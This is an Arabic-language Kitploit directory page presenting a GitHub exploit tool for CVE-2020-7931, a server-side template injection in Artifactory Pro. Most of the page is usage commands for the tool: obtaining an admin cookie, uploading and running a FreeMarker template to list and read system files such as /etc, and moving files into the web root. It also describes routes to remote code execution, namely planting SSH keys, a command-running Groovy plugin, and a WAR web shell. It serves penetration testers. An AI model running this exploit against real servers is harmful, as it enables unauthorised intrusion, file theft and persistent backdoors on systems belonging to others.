Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-7931 — اختراق Artifactory باستخدام حقن القوالب من جانب الخادم | Kitploit
أدوات/GitHubGitHub/gquere/cve-2020-7931
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعدتطوير الحمولات
GitHubgquere/cve-2020-7931

CVE-2020-7931

اختراق Artifactory باستخدام حقن القوالب من جانب الخادم

عرض المستودع
501516منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-7931: استغلال SSTI في Artifactory Pro

CVE-2020-7931 هو إلى حد ما ثغرة تكوين خاطئ مقصودة في Artifactory تسمح للمهاجمين بإجراء حقن القوالب من جانب الخادم من قالب FreeMarker.

تم اكتشاف الثغرة بواسطة Ryan Hanson من Atredis وتم إصلاحها لجميع الإصدارات المتأثرة في أواخر 2019. ستعمل فقط على الإصدارات الاحترافية من Artifactory، حيث أن الإصدارات الأخرى لا تملك إمكانيات القوالب.

يحتوي هذا المستودع على سكريبت وقالب.

  • سكريبت بايثون هو غلاف لأتمتة رفع ونشر وتنفيذ حمولات القوالب.
  • ينفذ القالب العديد من الأوليات (قراءة، سرد، كتابة...) التي تتفاعل مع نظام الملفات وتؤدي إلى تنفيذ الأكواد عن بُعد.

محتويات القالب

يستخرج القالب أول معامل GET لتحديد الإجراء المطلوب. الإجراءات الصالحة هي:

info                                    إرجاع معلومات حول التهيئة الحالية
read <filepath>                         قراءة ملف كما هو
read_bytes <filepath>                   قراءة ملف ثنائيًا كأعداد صحيحة
list <dirpath>                          سرد محتويات مجلد
create_file <filepath>                  إنشاء ملف فارغ
mkdir <dirpath>                         إنشاء مجلد
delete <filepath>                       حذف ملف أو مجلد فارغ
move <src> <dst>                        نقل ملف (*)
copy <scr_path> <src_file> <dst>        نسخ ملف إلى جذر الويب للتطبيق. انتبه للمعاملات الغريبة (**)

(*): يستخدم النقل طريقة renameTo في Java والتي لا تعمل عبر أنظمة الملفات المختلفة. لإجراء نقل عبر أنظمة ملفات مختلفة، يجب استخدام النسخ ثم النقل، مزيد من المعلومات أدناه.

(**): يجب تقسيم المصدر بين المسار الأساسي واسم الملف؛ الوجهة نسبية بالنسبة لمسار جذر تطبيق الويب الخاص بـ artifactory، على سبيل المثال /opt/jfrog/artifactory/tomcat/webapps/artifactory/

استخدام السكريبت

usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
                                    [-c COOKIE] [-U UPLOAD] [-g]
                                    [-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
                                    [-R REPOSITORY_NAME]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -c COOKIE, --cookie COOKIE
  -U UPLOAD, --upload UPLOAD
  -g, --get_cookie
  -d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
  -e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
  -r, --reload_plugins
  -R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
                        Default: example-repo-local

الحصول على الكوكي وتعيينها

export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie

رفع ملف

./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy

نشر القالب

./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml

تنفيذ القالب

./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password

نسخ ملف عبر نقاط التحميل

كما رأينا، لن تعمل renameTo() عبر أنظمة الملفات المختلفة. لمحاكاة ذلك، قم أولاً بنسخ الملف ثم نقله (قم بذلك فوراً، وإلا فقد يتعطل artifactory!):

./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla

(***): كما هو موضح سابقاً، هنا /bla يشير في الواقع إلى /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla لأن root.write() سيكتب بالضرورة إلى جذر الويب للتطبيق الحالي.

هذا يسمح لك باستغلال التهيئات التي تخزن القطع الأثرية على نظام ملفات منفصل (وهي ممارسة سليمة!).

الحصول على تنفيذ الأكواد عن بُعد

افتراضيًا مع تثبيت artifactory، ليس من الممكن إنشاء كلاسات، وبالتالي فإن خدعة Execute المعتادة من freemarker.template.utility.Execute لن تعمل.

هناك عدة طرق أخرى للحصول على تنفيذ الأكواد عن بُعد فقط من خلال التلاعب بنظام الملفات:

  • إضافة مفتاح عام إلى ملف authorized_keys الخاص بالمستخدم، والذي قد لا يعمل لعدة أسباب (ربما لا يوجد SSH، أو لا يوجد مصادقة بالمفتاح العام، أو تم تكوينه للبحث في /etc/ssh/authorized_keys بدلاً من منازل المستخدمين...)
  • تنفيذ إضافة groovy
  • بدء سيرفليت Tomcat تنفذ قشرة ويب

تنفيذ إضافة groovy

فيما يلي مثال على إضافة groovy تقوم بتنفيذ شيل، أمثلة أكثر تفصيلاً هنا:

def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

يجب وضع الإضافات في مسار الإضافات /var/opt/jfrog/artifactory/etc/plugins/ ويجب إعادة تحميلها باستخدام استدعاء API الذي يتطلب صلاحيات مدير Artifactory:

./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r

بدء سيرفليت Tomcat (نشر ملف .war)

هذه سيرفليت Tomcat تنفذ قشرة ويب.

يجب وضع ملفات WAR في مسار تطبيقات الويب Tomcat /opt/jfrog/artifactory/tomcat/webapps/. افتراضياً، يكون نشر ملفات WAR تلقائياً وسيبدأ تطبيق ويب آخر بجانب مثيل Artifactory، على سبيل المثال على http://localhost:8081/sample/.

هذه هي الطريقة المفضلة لأنها لا تتطلب صلاحيات مدير Artifactory وهي ببساطة أسهل لتنفيذ الأوامر بسرعة.

تنزيل الأداة